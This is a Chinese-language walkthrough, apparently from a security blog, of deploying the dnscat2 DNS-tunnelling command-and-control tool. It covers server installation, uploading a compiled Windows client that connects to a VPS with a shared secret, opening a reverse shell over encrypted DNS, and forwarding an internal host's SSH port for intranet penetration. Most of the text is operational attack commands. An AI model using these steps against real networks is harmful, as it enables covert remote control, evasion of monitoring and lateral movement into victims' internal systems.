测试环境
ubuntu 14.04 root用户
windows7 x64 user用户
**0x01环境准备**
apt-get update
apt-get -y install ruby-dev git make g++
gem install bundler
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
#修改Gemfile source 'https://ruby.taobao.org/'
bundle install
或者通过docker安装
apt-get install docker.io
service docker status
service docker start
cd ~/dnscat2/server
#修改Gemfile source 'https://ruby.taobao.org/'
docker build .
安装完成之后,可能在docker images 看到这个镜像没有名字,我们修改一下 docker tag IMAGEID mpercival/dnscat2
**0x02利用过程**
server端
cd dnscat2/server
ruby ./dnscat2.rb
#docker用户 docker run -p 53:53/udp -it --rm mpercival/dnscat2 ruby ./dnscat2.rb

可以通过两种方式设置C&C地址,如果没有域名的话,直接在外网VPS运行ruby ./dnscat2.rb 有域名的童鞋,先设置好NS服务器将NS记录修改为当前的机器。然后通过ruby ./dnscat2.rb yourdomain 我这里使用的IP地址
client端
将dnscat2文件夹下面的client编译好成exe,然后上传到client端
dnscat2.exe --dns=server=server端ip --secret=c2c6d04cab68ee2947d80316858da0f8

由于在新版本的dnscat2是加密的所以我们在客户端执行的时候要加上秘钥,不然无法正确的建立连接

获取shell
session -i 1 #切换到session 1
help #通过help可以看到支持的命令
shell #执行之后会新生成一个session 需要通过session -i 2 切过去

这样就成功获取了一个shell,我们可以通过数据包看一下

数据都是通过DNS发出去的,并且是加密过的,因为在最初的dnscat2的版本中,数据只是简单的hex编码。到最新版的默认就已经加密

通过Salsa20加密算法进行了加密,如果不知道秘钥,就几乎不能解密数据包了。除了普通的反弹shell和上传下载文件功能,还有一个比较有用的功能可以通过dnscat2实现DNS隧道,然后进行内网渗透。在成功获取一个session之后执行
session -i id
listen 4444 10.211.55.19:22 #将内网10.211.55.19的22端口转发到本地的4444

然后直接ssh本地的ip的4444端口

注意的是我用的docker环境,所以是直接ssh的docker的ip
编译好的client端dnscat2.zip